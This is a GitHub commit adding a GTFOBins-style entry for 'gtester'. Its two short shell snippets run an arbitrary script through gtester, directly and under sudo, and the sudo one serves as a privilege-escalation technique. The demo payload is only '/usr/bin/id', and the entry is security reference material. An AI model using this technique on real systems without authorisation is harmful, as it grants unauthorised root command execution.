Create gtester.md

This commit is contained in:
bcoles 2020-03-18 06:32:25 +11:00 committed by GitHub
parent 813d1bebca
commit ee1093fc7b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

17
_gtfobins/gtester.md Normal file
View File

@ -0,0 +1,17 @@
---
functions:
command:
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF
chmod +x $TF
gtester -q $TF
sudo:
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF
chmod +x $TF
sudo gtester -q $TF
---